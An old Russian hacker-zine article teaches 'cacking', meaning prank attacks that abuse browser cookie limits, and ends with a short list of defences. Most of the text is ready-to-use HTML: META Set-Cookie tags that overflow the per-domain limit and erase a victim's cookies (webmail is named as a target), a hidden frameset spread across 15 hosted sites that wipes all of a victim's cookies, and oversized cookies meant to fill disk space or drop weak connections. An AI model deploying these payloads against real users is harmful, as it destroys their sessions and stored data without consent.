|
div.main {margin-left: 20pt; margin-right: 20pt}Рекурсия - убийца компьютеров! Сегодня мы займемся какингом. Что это такое? Какинг -
хулиганство с помощью технологии cookie, что используется в
Web-страницах. После прочтения данной статьи можешь смело называть
себя какером и создавать единственную в мире Cacking Group. :o)
А зачем мне все это надо?
Технология cookie используется при заполнении полей, хранения
информации, для виртуальных корзин в Интернет-магазинах, в баннерных
сетях и много чего еще. Но также эта технология используется
взломщиками для достижения своих целей.
1. Радость от гадости
Первый пример основан на том, что по спецификациям броузер может
хранить не больше 20 записей от одного домена. При переполнении
данного лимита, старые записи затираются новыми. Использование:
Закачать HTML-файл на тот сервер, откуда пришли cookie. Можно
послать по E-mail, если жертва читает почту через Web, все cookie от
его почтового сервера сотрутся. Если нужно удалить все cookies с
*.домен.com, заменять строчки примера на
<META HTTP-EQUIV="Set-Cookie" CONTENT="You_are1=cacked1;
EXPIRES=Fri, 14-Sep-2005 13:13:13 GMT; path=/;
domain=домен.com;">
Работает только с доменами COM, EDU, NET,
ORG, GOV, MIL, INT. Сам пример
файла:
<html><head>
<META
HTTP-EQUIV="Set-Cookie" CONTENT="You_are1=cacked1; EXPIRES=Fri,
14-Sep-2005 13:13:13 GMT;">
<META HTTP-EQUIV="Set-Cookie"
CONTENT="You_are2=cacked2; EXPIRES=Fri, 14-Sep-2005 13:13:13
GMT;">
...
<META HTTP-EQUIV="Set-Cookie"
CONTENT="You_are20=cacked20; EXPIRES=Fri, 14-Sep-2005 13:13:13
GMT;">
</head></html>
Сохраняй этот файл как cook.htm, он нам еще пригодится.
2. Полная гадость
Вторая гадость основана на том, что общее количество cookies
может быть не больше 300. При переполнении лимита, старые записи
также затираются новыми. Уловил мысль? Затираем все cookies жертвы.
Сначала тебе придется завести 15 аккаунтов для страничек на разных
серверах. Заходим на всякие narod.ru, заводим аккаунты
cook.site1.ru, cook.site2.ru и т.д. до cook.site15.ru. Затем
заливаем на каждую страничку файл cook.htm, который мы использовали
в прошлой гадости. На все это у тебя должно уйти не больше часа при
нормальной раскладке пальцев m/. Создаем файлик index.html и
вписываем туда следующее:
<html><head></head>
<frameset
rows="0,0,0,0,0,0,0,0,0,0,0,0,0,0,*">
<frame scrolling="no"
noresize target="cook.site1.ru/cook.htm">
<frame
scrolling="no" noresize
target="cook.site2.ru/cook.htm">
...
<frame
scrolling="no" noresize
target="cook.site15.ru/cook.htm">
</frameset></html>
Заливаем созданный файл в любое место, например на cook.narod.ru.
Зайдя на этот сайт, у пользователя будет вычищаться весь cookies,
накопленный годами, за пару секунд.
3.
Почему нельзя забить дисковое пространство или сделать buffer
overflow?
Дело в том, что каждый cookie не может быть больше 4kb. Если
лимит превышен, начало cookie удаляется. Максимум, что можно сделать
- забить жертве 1,2mb дискового пространства при хорошем качестве
связи у жертвы, либо disconnect'ить жертву при плохой связи. Для
этого меняй строчки в cook.htm на следующее:
<META HTTP-EQUIV="Set-Cookie" CONTENT="XAKEP1=Здесь вписывай
4kb (с вычитом 6 байт на имя XAKEP1); EXPIRES=Fri, 14-Sep-2005
13:13:13 GMT;">
Защита
Способов защиты несколько и каждый способ довольно
неудобен.
1. Отменить использование
cookie в броузере.
Недостаток в том, что пользователь
фактически отказывается ходить на огромное количество
сайтов.
2. Завести программу из класса
Cookie Manager.
Недостаток в том, что надо постоянно
держать лишнюю программу. А это для интернетчика с включенным
Firewall'ом, антивирусным монитором, ICQ, Dialer'ом и т.д. довольно
большое неудобство.
3. Не вступать в
случайные связи.
Недостаток в том, что твои "проверенные"
друзья тоже могут над тобой подшутить, да и не вступать в случайные
связи - значит сидеть дома и наслаждаться сайтами по адресу
127.0.0.1. :)))
Автор: [X]-tenDead
MoPo[3]
|
